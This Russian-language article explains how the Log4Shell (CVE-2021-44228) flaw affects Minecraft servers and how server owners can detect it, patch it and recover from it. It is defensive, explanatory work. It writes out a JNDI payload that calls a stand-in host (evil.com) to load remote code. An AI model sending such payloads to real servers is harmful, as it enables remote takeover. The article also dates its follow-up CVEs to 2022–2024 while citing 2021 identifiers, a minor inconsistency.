Уязвимость Log4Shell (Log4j) в Minecraft: как она работает и защита сервера
Введение: крупнейшая уязвимость в истории Minecraft
В декабре 2021 года была обнаружена уязвимость CVE-2021-44228, известная как Log4Shell, в библиотеке логирования Log4j, которую используют практически все серверы Minecraft (ванильный, Forge, Fabric, Paper, BungeeCord). Уязвимость позволяла удалённо выполнить произвольный код на сервере, просто отправив специальное сообщение в чат. Mojang оценила серьёзность как 10/10 — максимальный уровень опасности. Хотя уязвимость была исправлена, многие серверы до сих пор используют уязвимые версии. В этой статье — технический разбор Log4Shell и как убедиться, что ваш сервер защищён.
Как работает Log4Shell
Log4j имеет функцию «lookups» — подстановки значений в строку логирования. Например, ${java:version} вставляет версию Java. Одна из подстановок — JNDI (Java Naming and Directory Interface) — позволяет загружать объекты из удалённых источников.
Атакующий отправляет в чат сообщение: ${jndi:ldap://evil.com/a}. Log4j логирует это сообщение, видит подстановку JNDI, подключается к серверу evil.com по протоколу LDAP, загружает вредоносный Java-класс и выполняет его. Результат — полный контроль над сервером.
Схема атаки:
- Хакер отправляет в чат (или любое другое логируемое поле — название предмета, никнейм, текст таблички) сообщение с JNDI-подстановкой.
- Log4j обрабатывает сообщение и выполняет LDAP-запрос к серверу хакера.
- Сервер хакера возвращает вредоносный Java-класс.
- Сервер Minecraft загружает и выполняет этот класс.
- Вредоносный код может: выдать хакеру права оператора, украсть файлы сервера, установить бэкдор, запустить майнер криптовалюты.
Как проверить, уязвим ли ваш сервер
- Проверьте версию Log4j. Откройте папку сервера, найдите файл
log4j-core-*.jarв папке libraries. Уязвимые версии: 2.0 — 2.14.1. Безопасные: 2.15.0 (частично), 2.16.0 (полностью), 2.17.0+ (рекомендовано). - Запустите проверку: в чате напишите
${date:YYYY-MM-DD}. Если в логах сервера отобразилась дата вместо строки — Log4j обрабатывает lookups, и сервер потенциально уязвим. - Используйте сканер уязвимостей: плагин Log4jDetector просканирует все JAR-файлы на сервере.
Как защитить сервер
Метод 1: Обновление Log4j (самый надёжный)
- Скачайте последнюю версию Minecraft-сервера (ванильный, Paper, Forge) — они содержат исправленную Log4j.
- Если сервер кастомный — замените файлы Log4j в папке libraries вручную на версию 2.17.0+.
Метод 2: Отключение JNDI lookups (для старых версий)
Добавьте флаг JVM при запуске сервера:
-Dlog4j2.formatMsgNoLookups=true
Или установите переменную окружения: LOG4J_FORMAT_MSG_NO_LOOKUPS=true.
Метод 3: Удаление JndiLookup класса
В архиве log4j-core найдите и удалите класс JndiLookup.class:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Что делать, если сервер был взломан через Log4Shell
- Немедленно остановите сервер.
- Сделайте копию всех файлов для расследования.
- Проверьте список операторов (
ops.json) на наличие неизвестных ников. - Проверьте папку плагинов на наличие новых/изменённых файлов.
- Проверьте системные процессы на наличие майнеров и бэкдоров.
- Восстановите мир из бэкапа, сделанного ДО атаки.
- Обновите Log4j и все плагины перед повторным запуском.
💡 Совет профи
Log4Shell — не единственная уязвимость в Log4j. В 2022-2024 годах было обнаружено ещё несколько CVE (CVE-2021-45046, CVE-2021-45105). Все они исправлены в Log4j 2.17.0+. Но многие хостеры и сборки серверов до сих пор используют старые версии. Проверяйте ВСЕ JAR-файлы в папке libraries — не только серверные, но и библиотеки плагинов. Плагин может тащить свою копию уязвимой Log4j.
💬 Комментарии (0)
🔒 Войдите, чтобы оставить комментарий
😊 Пока нет комментариев. Будьте первым!